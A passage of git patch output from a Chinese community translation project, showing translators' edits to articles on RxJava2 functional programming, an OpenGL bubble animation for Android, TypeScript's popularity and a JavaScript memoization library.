-大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章[[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)]。在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。
+大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章.
+
+- [第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)
+- [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)
+
+在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。
 
 **动机：**
 
-动机和我在分享[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式，函数式编程，高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
+动机和我在分享[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)时一致。Lambda 表达式、函数式编程、高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。
 
 **修改:**
 
-在[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论了 Rx 最重要，最基础也最核心的概念，那就是观察者模式。在[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
+在[第一部分](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)，我们讨论了 Rx 最重要、最基础也最核心的概念，那就是观察者模式。在[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)，我们讨论了拉模式和推模式，以及命令式和响应式编程。
 
 **介绍:**
 
-今天我们将会弄清楚所有关于函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程以及 Lambda 表达式的所有困惑。所以为了方便理解 Lambda 表达式的概念，我要先解释什么是函数式接口。
+今天我们将会弄清楚所有关于函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程以及 Lambda 表达式的所有困惑。所以为了方便理解 Lambda 表达式的概念，我要先解释什么是函数式接口。
 
 **函数式接口:**
 
@@ -72,11 +77,11 @@ public interface Do {
 一些我们现在日常开发使用的函数式接口的例子：
 
 ```
-public interface **Runnable** {
+public interface Runnable {
     public abstract void **run**();
 }
 
-public interface **OnClickListener** {
+public interface OnClickListener {
     void **onClick**(View v);
 }
 ```
@@ -561,12 +566,12 @@ int sum = add.add(1,2);
 ```
 
 
-现在我们知道函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+现在我们知道函数式接口、默认方法、纯函数、函数的副作用、阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。
 
 
 结论：
 
-大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。到现在为止，我们了解了观察者模式，拉模式与推模式，响应式与命令式，函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
+大家都太棒了。今天我们到达了一个 Rx 学习中的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。（[第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md)）到现在为止，我们了解了观察者模式、拉模式与推模式、响应式与命令式、函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
 
 祝你们有个愉快的周末。让我们下周再见吧。
 

From 7fda6cb97d2972bf93f01139c5aa0a95b29c8c99 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Tue, 9 May 2017 10:05:57 +0800
Subject: [PATCH 377/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...icker-a-colourful-animation-for-android.md | 26 +++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 2876bdde3a2..863e3970fd2 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -122,40 +122,66 @@ GLSL 有几种不同类型的变量：
 
 - Uniform variables hold the same value for all vertices and fragments
 
+- 统一变量对所有顶点和片段持有相同的值
+
 - Attribute variables are different for each vertex
 
+- 属性变量对每个顶点都不同
+
 - Varying variables are used to pass data from a vertex shader to a fragment shader, and their values are linearly interpolated for each fragment  
 
+- 变化中变量将数据从顶点着色器传递到片段着色器，对于每个片段都是用线性内插法赋值
+
 The `u_Move` variable contains x and y values that should be added to the current position of the vertex. Obviously, these values should be equal for all vertices of the shape and the type of this variable is uniform, while the position of the vertices will differ. So the `a_Position` variable is an attribute variable. The` a_UV` variable is needed for two purposes:
 
+u_Move 变量包含了 x 和 y 两个值，用于表示顶点当前位置的移动增量。很明显，他们的值应该与一个形状中的所有顶点的该变量的值相同，类型也应该是相同的，虽然这些顶点各自的位置不同。a_Position 变量是属性变量，a_UV 变量用于以下两个目的：
+
 1. To find out the distance between the current fragment and the center of the square; depending on this distance, we can change the color of the fragment to draw a circle.
 
+1. 得到当前片段与正方形中心的距离；根据这个距离，我们能够改变片段的颜色来画圆。
+
 2. To properly place the texture (the photo and the name of the country) in the center of a shape.
 
+2. 将纹理（照片和国家名称）放在图形的中心。
+
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg)
 
 The `a_UV` variable contains x and y values that are different for each vertex and which lie between 0 and 1. In the vertex shader, we just pass the value of the `a_UV` variable to the `v_UV` variable, so the `v_UV` variable can be interpolated for every fragment. As a result, the `v_UV` variable for a fragment in the center of a shape will contain the value [0.5, 0.5]. To figure out the distance between the picked fragment and the center we use the distance() method. This method uses two points as a parameter.
 
+a_UV 变量包含了 x 和 y 两个变量，值在 0 和 1 之间，对于每个顶点都不同。在顶点着色器中，我们将值从 a_UV 变量传递给 v_UV 变量，这样每个片段都会被插入 v_UV 变量。结果，形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。
+
 ### **3. Using smoothstep to draw antialiased circles** ###
 
+### **3. 使用 smoothstep 方法画抗锯齿圆** ###
+
 Initially my fragment shader looked a bit different:
 
+起初，我的片段着色器看起来有些不一样：
+
 ```
     gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor;
 ```    
 
 I changed the fragment color depending on the distance from the center without any antialiasing. And the result was not so impressive — the edges of the circles were notched.
 
+我根据到中心的距离改变了片段颜色，没有使用抗锯齿。结果并不理想，圆的边缘被切开了。
+
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg)
 
 So the smoothstep function was the solution. It smoothly interpolates from 0 to 1 based on distance compared to the start and end point of the transition between the texture and the background. Thus the alpha of the texture on the distance from 0 to 0.49 is 1, on the 0.5 and above it is 0, and between the 0.49 and 0.5 it is interpolated, so the edges of the circles would be antialiased.
 
+smoothstep 方法可以解决这个问题。基于纹理与背景之间过度的从开始到结束点之间的距离，从 0 到 1 平滑插入。纹理的距离在 0 到 0.49 之间值设为1，0.5 以上的为0，并且0.49 到 0.5 之间会被插入，所以圆的边缘会被抗锯齿。
+
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg)
 
 ### **4. Using textures to display images and text in OpenGL** ###
 
+### **4. 使用纹理在 OpenGL 中显示图片和文本** ###
+
 Every circle in this animation has two states – normal and selected. In the normal state, the texture of a circle contains text and color; in the selected state, the texture also contains an image. So for every circle we needed to create two different textures. 
 
+动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中
+
 To create the texture we use a Bitmap instance where we draw all the elements and bind the texture:
 
 ```

From 8fc59cfe15e21dc3aa58f4ab400a53487e3085c8 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Tue, 9 May 2017 11:03:55 +0800
Subject: [PATCH 378/638] finish

---
 TODO/typescript-getting-popular.md | 38 +++++++++++++++---------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index ecc116b4587..b417a76cd98 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -44,44 +44,44 @@ React 是由 Facebook 发起的库。Angular 是从 Google 衍生出来的框架
 
 『这意味着现在有一个可以预测哪些框架支持类型的方法 —— 我们可以自动提供这些类型。当我们发现你引用了某个特定的框架时，我们就可以帮你找到类型定义，你就不必亲自去寻找了。』事实上，Hejlsberg 声称：『对某些开发者来说，某个框架是否拥有类型定义，已经成为了他们在选择框架时的决定性因素。』
 
+> “通常，TypeScript 被采用的流程 —— 不论是企业，创业团队还是个人开发者 —— 是你在某个项目中尝试使用并发现它很棒，接着你就开始给别人推荐。就这样，它就在你的影响范围内发展开了。”—— Anders Hejlsberg
 
-> “Often the way TypeScript ends up being adopted — in enterprises and start-ups and individual developers — is that you try it on one project and you say ‘wow, this is great!’ and then you start evangelizing and it grows locally in your sphere of influence.”— Anders Hejlsberg
+关注度的提高似乎是用户增长的原因之一。“我们没做过任何推广，所有这些都是社区驱动的。实际上是稳步增长，我们现在开始注意到更大的数字了。”Hejlsberg 说道。
 
-The general rise in interest seems to be one of organic growth. “We don’t do any advertising whatsoever, this is all driven by the community. It’s actually steady growth and we’re just starting to notice the larger numbers now,” Hejlsberg said.
+Hejlsberg 指出 TypeScript 还是在 Stack Overflow 的调查中排在 Rust 和 Smalltalk 之后第三受欢迎的语言（排在 Swift 和 go 之前）以及第六急需人才的语言，排在 C# 和 Swift 之前。“我认为这从很大程度上说明我们解决了实际问题”Hejlsberg 指出。
 
-Hejlsberg notes that TypeScript is also the third most loved language in the Stack Overflow survey after Rust and Smalltalk (and just ahead of Swift and go) and the sixth most wanted language, head of both C# and Swift. “I think that speaks a lot to the fact that we’re actually solving real problems,” Hejlsberg said.
 
-## Microsoft’s Sphere of Influence ##
+## 微软的影响范围 ##
 
-It’s easy to view the success of TypeScript as Microsoft bringing enterprise developers who are already in the Microsoft world to JavaScript via familiar tools.
+人们很容易把 TypeScript 的成功视为微软通过熟悉的工具把已经在微软世界中的企业开发者引入 JavaScript 的结果。
 
-“We obviously have a large developer ecosystem already with C# and C++ and Visual Basic. Lots of enterprises use Microsoft tooling and they also have front ends, and when we start improving the world on the front end side, they sit up and take notice and start using that,” Hejlsberg admitted.
+“我们有一个围绕着 C#、C++ 以及 Visual Basic 的大型开发者生态系统。许多企业使用微软的工具同时他们也有前端开发，当我们开始改善前端开发的世界，他们就坐下来，注意并开始使用了。”Hejlsberg坦言。
 
-But while a lot of TypeScript development is done in [Visual Studio](https://www.visualstudio.com/), just as much is done in[ Visual Studio Code](https://code.visualstudio.com/), Microsoft’s open source, cross-platform IDE. “That’s a community we increasingly did not have all that much of a connection to. For Visual Studio Code, half of our users are not on Windows, so all of a sudden we’re having a conversation with a developer community that we did not really converse much with previously.”
+但是，虽然很多 TypeScript 的开发工作是在 [Visual Studio](https://www.visualstudio.com/) 中进行的，和使用[ Visual Studio Code](https://code.visualstudio.com/) —— 微软开源的，跨平台的 IDE —— 的一样多。“那是一个和我们没有太多联系的社区。以 Visual Studio Code 来说，一半的用户来自非 Windows 系统，因此突然间我们就与一个之前没什么沟通的社区建立了联系。”
 
-## Open Source and on the Fast Track ##
+## 开源快车道 ##
 
-The TypeScript team recently announced that releases will now happen every two months rather than quarterly, which Heljsberg called an attempt to make release dates more predictable, rather than holding up a new release to get a particular feature in. That’s the same approach that the ECMAScript committee is taking.
+TypeScript 团队最近宣布发布周期将由每季度改为每两个月，Heljsberg 呼吁让发布日期更加可预测，而不是为了添加某个新功能而延迟发布。这也正是 ECMAScript 委员会正在采取的做法。
 
-The new release cadence for TypeScript is also aligned with the Visual Studio Code schedule; partly because Visual Studio Code is actually written in TypeScript, but also because tooling is a key part of the appeal of TypeScript.
+新的发布节奏也会与 Visual Studio Code 保持一致，部分原因是因为 Visual Studio Code 是由 TypeScript 开发的，但更重要的原因在于工具是 TypeScript 吸引力的重要组成部分。
 
-While it’s important that TypeScript supports multiple editors and IDEs, Hejlsberg noted that Visual Studio Code is another factor helping with the popularity of the language.
+尽管 TypeScript 支持多种编辑器与 IDE 很重要，但 Hejlsberg 指出 Visual Studio Code 是另一个帮助该语言普及的因素。
 
-In fact, you get better coding features because of TypeScript, even if you only write in JavaScript, he explained. “Visual Studio Code and Visual Studio both use the TypeScript language service as their language service for JavaScript. Since TypeScript a superset of JavaScript, that means JavaScript is a subset of TypeScript it’s really just TypeScript without type annotations,” he noted.
+事实上，即便只是开发 JavaScript，你也能从 TypeScript 获得更好的编码特性，他解释道。“Visual Studio Code 和 Visual Studio 都使用 TypeScript 语言服务作为它们的 JavaScript 语言服务。由于 TypeScript 是 JavaScript 的超集，这意味着 JavaScript 是 TypeScript 的一个子集，它只是没有类型注释的 TypeScript 罢了。”他指出。
 
-In Visual Studio Code, opening a JavaScript file will trigger a TypeScript parser, scanner, lexer and type analyzer to provide statement completion and code navigation in the JavaScript code. “Even though there are no type annotations, we can infer an awful lot about a project structure just from the modules you’re using and the classes you’re declaring,” Hejlsberg said. “We can go and auto-provision type information for the framework you’re importing then we can give you excellent statement completion in JavaScript, which actually surprises the heck out of people.”
+在 Visual Studio Code中，打开一个 JavaScript 文件会触发 TypeScript 的解析器、扫描器、词法分析器和类型分析器以提供 JavaScript 代码中的语句补全和代码导航。“即使没有类型注释，我们也可以通过你使用的模块以及声明的类来推断出关于项目结构的很多信息”Hejlsberg 说道。“令人惊奇的是，我们可以自动为你引用的框架导入类型信息，然后就可以为你提供出色的语句补全功能，”
 
-What makes this fast cadence possible are the tests required for pull requests to be accepted, guaranteeing the quality of the master branch, and the popularity of TypeScript, which means any problems are found quickly.
+使这样的快速发布节奏成为可能的是所有 pull request 被合并前必须通过测试，保证了 master 分支的质量和 TypeScript 的流行，这意味着任何问题都可以被快速发现。
 
-“We’re an open source project, we do a lot of work on GitHub. And we never take pull requests unless they pass all the 55,000 tests that we have, and unless they come with new tests if you’re implementing a new feature, or regressions test if it is fixing a bug. That means our master branch is always in very good shape,” he said.
+“我们是一个开源项目，我们在 GitHub 上做了很多工作。我们绝不合并任何 pull request，触发它能通过我们现有的 55000 个测试；如果是增加新功能，就必须提供相应的测试代码；如果是修改 bug，就必须提供回归测试。这意味着我们的 master 分支始终保持着很高的代码质量。”他说道。
 
-## JavaScript: Powerful but Complex ##
+## JavaScript: 强大但复杂 ##
 
-More than any single factor, what might really be behind the increasing popularity of TypeScript is how complex JavaScript development has become, and also how powerful it can be.
+除了任何一个单一因素以外，驱使 TypeScript 愈发流行的真实原因可能是现如今 JavaScript 开发越来越高的复杂性以及越来越强大的能力。
 
-“Our industry and our usage of JavaScript has changed dramatically,” Hejlsberg pointed out. “It used to be that we lived in a homogenous world where everyone was running Windows and using a browser, and that was how you got JavaScript. Now the world has become very heterogeneous. There are all sorts of different devices — phones and tablets, and running JavaScript on the backend with node, and JavaScript has jumped out of the browser using things like NativeScript or React Native or Cordova that allows you to build native apps using JavaScript.”
+“我们的行业和 JavaScript 的使用都发生了巨大的变化。” Hejlsberg指出。“以前我们生活在一个同质的世界。所有人都使用 Windows 和浏览器，这就是你如何接触 JavaScript的。现在世界已经变得非常多元化了。有各种不同的设备 —— 手机和平板电脑，并且在后端使用 node 运行 JavaScript。JavaScript 还脱离了浏览器，通过使用 NativeScript、React Native 或是 Cordova 你已经可以使用 JavaScript 构建原生应用。”
 
-“Yes it’s more complicated but it’s also infinitely more capable,” Hejlsberg said of JavaScript. “You can reach so many different application profiles with JavaScript, with a single language and toolset. To me, that’s what is fueling all of this: The incredible breadth of the kinds of apps you can build, and the kinds of reusability and leverage you can get in this evolving ecosystem. It’s not just got more complex; it’s also gotten way more capable.”
+“是的，它变得更复杂，但也有着无限多的能力。” Hejlsberg 谈到 JavaScript。“利用 JavaScript，你可以使用同一种语言和工具开发出如此多种类的应用。对我而言，这正是推动所有这些的原因：你可以开发不同类型应用的多样性，你能从这个不断进化的生态系统中获得的可重用性。它不仅仅变得更复杂了，它也更强大了。”
 
 *TNS analyst [Lawrence Hecht](https://thenewstack.io/author/lawrence-hecht/) contributed to this report.*
 

From 54f290a2535dbba32531b1770921443d08ffe8e8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 13:02:45 +0800
Subject: [PATCH 379/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 ...he-worlds-fastest-javascript-memoization-library.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 2629e03feb1..a9fbaaa79f2 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -118,7 +118,7 @@ The goal here is to let the computer do the heavy lifting for us!
 1. 普通方式 (初始版本)
 2. 针对单个参数优化
 3. 参数推断
-4. 偏特化
+4. 偏函数
 
 我们来逐个介绍它们。我会以尽量简化的代码，来介绍每种方式背后的想法。如果某些细节我没有解释清楚，你想要深入探究一下，可以在[项目的 GitHub 页面](https://github.com/caiogondim/fast-memoize.js/tree/master/benchmark/strategy)中找到每个版本的代码。
 
@@ -168,7 +168,7 @@ The goal here is to let the computer do the heavy lifting for us!
 
 ### 偏函数（Partial application） ###
 
-我觉得大多数时间都花费在了变量查找上（？？？），起初我也没有好的想法去改善。灵机一动，我突然想到可以使用 `bind` 方法，通过偏函数应用的方法将变量注入到函数中。
+我觉得大多数时间都花费在了变量查找上（但没有量化数据支持），起初我也没有好的想法去改善。灵机一动，我突然想到可以使用 `bind` 方法，通过偏函数应用的方法将变量注入到函数中。
 
 ```js
     functionsum(a, b) {
@@ -187,7 +187,7 @@ The goal here is to let the computer do the heavy lifting for us!
 
 上面我们把记忆化分解为了 3 个部分。
 
-对每个部分，我们将其余 2 个部分固定，更换其中一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于GC造成的不确定性停顿，JS代码的性能并不完全确定。
+对每个部分，我们将其中 2 个部分固定，更换其余一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于GC造成的不确定性停顿，JS代码的性能并不完全确定。
 V8 会更根据函数的调用频率、代码结构等因素，做很多运行时优化。
 为了确保我们将这 3 部分组合起来时不会错过大量性能优化的机会，我们尝试所有可能的组合。
 一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：
@@ -205,7 +205,7 @@ Legend:
 事实证明我们上面的分析是对的。最快的组合是：
 
 - **策略**: 偏函数
-- **缓存**: Object
+- **缓存**: 普通对象
 - **序列化器**: JSON.stringify
 
 ## 与流行库的性能对比 ##
@@ -224,7 +224,7 @@ V8有一个很新的、未发布的优化编译器 [TurboFan](http://v8project.b
 
 性能几乎翻倍，现在达到接近**每秒 50,000,000 次**。
 
-似乎最新的 TurboFan 编译器可以极大的优化我们最终版本的 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)。
+看起来最新的 TurboFan 编译器可以极大的优化我们最终版本的 [fast-memoize.js](https://github.com/caiogondim/fast-memoize.js)。
 
 ## 结论 ##
 

From dc6382d654709d4a5ea3f6fc1017bd669546e79c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 13:08:03 +0800
Subject: [PATCH 380/638] Update
 the-worlds-fastest-javascript-memoization-library.md

---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index a9fbaaa79f2..48fdc56f6ae 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -190,7 +190,7 @@ The goal here is to let the computer do the heavy lifting for us!
 对每个部分，我们将其中 2 个部分固定，更换其余一个测试其性能。通过这种单变量测试，我们能更加确信每次改变的效果--由于GC造成的不确定性停顿，JS代码的性能并不完全确定。
 V8 会更根据函数的调用频率、代码结构等因素，做很多运行时优化。
 为了确保我们将这 3 部分组合起来时不会错过大量性能优化的机会，我们尝试所有可能的组合。
-一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：
+一共 4 种策略 x 2 种序列化器 x 4 种缓存 = **32 种不同的组合**。本地运行，请执行命令 `npm run benchmark:combination`。下面是性能最好的 5 种组合：
 
 ![fastest javascript memoize combinations](https://blog-assets.risingstack.com/2017/01/fastest-javascript-memoize-combinations.png)
 

From 43efb5214f5b7bd464737018ba74c076ffe8cea5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=96=9B=E5=AE=9A=E8=B0=94=E7=9A=84=E7=8C=AB?=
 <hh_2013@foxmail.com>
Date: Tue, 9 May 2017 13:09:41 +0800
Subject: [PATCH 381/638] Update
 the-worlds-fastest-javascript-memoization-library.md
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

增加校对者
---
 TODO/the-worlds-fastest-javascript-memoization-library.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-worlds-fastest-javascript-memoization-library.md b/TODO/the-worlds-fastest-javascript-memoization-library.md
index 48fdc56f6ae..933d1452992 100644
--- a/TODO/the-worlds-fastest-javascript-memoization-library.md
+++ b/TODO/the-worlds-fastest-javascript-memoization-library.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Caio Gondim](https://community.risingstack.com/author/caio/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD)
-> * 校对者：[GangsterHyj](https://github.com/GangsterHyj)
+> * 校对者：[GangsterHyj](https://github.com/GangsterHyj) [sunui](https://github.com/sunui)
 
 # 我是如何实现世界上最快的 JavaScript 记忆化的 #
 

From cd41678f4c7991adbf635b19afd6be6cdd488ba3 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Tue, 9 May 2017 13:53:55 +0800
Subject: [PATCH 382/638] fix

---
 TODO/typescript-getting-popular.md | 54 +++++++++++++++---------------
 1 file changed, 27 insertions(+), 27 deletions(-)

diff --git a/TODO/typescript-getting-popular.md b/TODO/typescript-getting-popular.md
index b417a76cd98..656acffde12 100644
--- a/TODO/typescript-getting-popular.md
+++ b/TODO/typescript-getting-popular.md
@@ -4,19 +4,19 @@
 > * 译者：[loveky](https://github.com/loveky)
 > * 校对者：
 
-# 为何 TypeScript 变得更加流行了？ #
+# 为何 TypeScript 愈发流行了？ #
 
 ![](https://cdn.thenewstack.io/media/2017/04/2fd01361-unnamed-1024x876.jpg)
 
-为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？主要的开发框架依赖于它，它还可以提高开发人员在不断变化的 JavaScript 世界中的生产力。
+为何 [TypeScript](https://www.typescriptlang.org/) 这么流行呢？许多主流的开发框架依赖于它，它还能提高开发者在不断变化的 JavaScript 世界中的生产力。
 
-在最近的 [Stack Overflow 开发者问卷](https://stackoverflow.com/insights/survey/2017#technology)以及年度[RedMonk](http://redmonk.com)编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发人员对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
+在最近的 [Stack Overflow 开发者调查](https://stackoverflow.com/insights/survey/2017#technology)以及年度[RedMonk](http://redmonk.com)编程[语言排名](https://redmonk.com/sogrady/2017/03/17/language-rankings-1-17/)中都显示 [TypeScript](https://www.thenewstack.io/tag/TypeScript) —— 由微软发起的结合了编译高级 JavaScript 特性与静态类型检查及工具的开源项目 —— 正在达到新的人气高度。通过为 JavaScript 提供[最基本的检查语法](https://medium.com/@tomdale/glimmer-js-whats-the-deal-with-typescript-f666d1a3aad0)，TypeScript 允许开发者对他们的代码进行类型检查，这可以暴露 bug 并改善大型 JavaScript 代码库的结构和文档。
 
-参与了 Stack Overflow 问卷的开发人员中有9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 问卷中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次问卷并非只针对前端开发领域。事实上，TypeScript 程序员出现在了参与 Stack Overflow 问卷的所有4种工作角色中；web 开发人员、桌面开发人员、系统管理员与 DevOps 以及数据科学家。
+参与了 Stack Overflow 调查的开发者中有 9.5% 的人正在使用 TypeScript，这使得 TypeScript 成为了第九流行的编程语言。排名在 Ruby 之前，用户量是 Perl 的两倍。此次 Stack Overflow 调查中的受访者来自不同领域；使用最广泛的两种语言是 JavaScript 和 SQL，这说明此次调查并非只针对前端开发。事实上，TypeScript 程序员出现在了参与 Stack Overflow 调查的所有 4 种工作角色中；web 开发者、桌面开发者、系统管理员与 DevOps 以及数据科学家。
 
-RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结合起来试图理解开发人员的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从26位上升到了17位。其中一部分原因是 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
+RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结合起来试图理解开发者的想法以及他们正在使用什么。TypeScript 同样受到了开发者的欢迎，排名从第 26 位上升到了第 17 位。其中一部分原因是 TypeScript 在 Stack Overflow 上关注度的提升，但主要还是因为在 GitHub 上参与的开发者在不断增多。
 
-的确，GitHub 在自己的2016[年度八卦](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的316中编程语言中最受欢迎榜单的第15位（基于 pull request 的数量以及相较与前一年 pull request 250%的增长率）。
+的确，GitHub 在其 2016 [年度总结](https://octoverse.github.com/)中把 TypeScript 列为在 GitHub 上用于项目开发的 316 种编程语言中最受欢迎榜单的第 15 位（基于 pull request 的数量以及相较与前一年 pull request 250% 的增长率）。
 
 在另一个针对开发者的调查中，TypeScript 在众多 JavaScript 的『替代』[风格](http://stateofjs.com/2016/flavors/)中拥有最高的使用率（21%）以及尚未的用户中最高的关注度（39%）。这项调查的方式不同寻常 —— 它很奇怪的将转译器和包管理器（如 [npm](https://www.npmjs.com/) 和 [Bower](https://bower.io/)）混合在一起 —— 但参与了这项调查且经常使用 TypeScript 的开发者也经常使用 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/)、[NativeScript](https://www.nativescript.org/)、[Angular](https://angular.io/)，尤其是 Angular2。
 
@@ -24,66 +24,66 @@ RedMonk 的排名将 Stack Overflow 的数据与 Github 上的 pull request 结
 
 ## 不止是 Angular2 ##
 
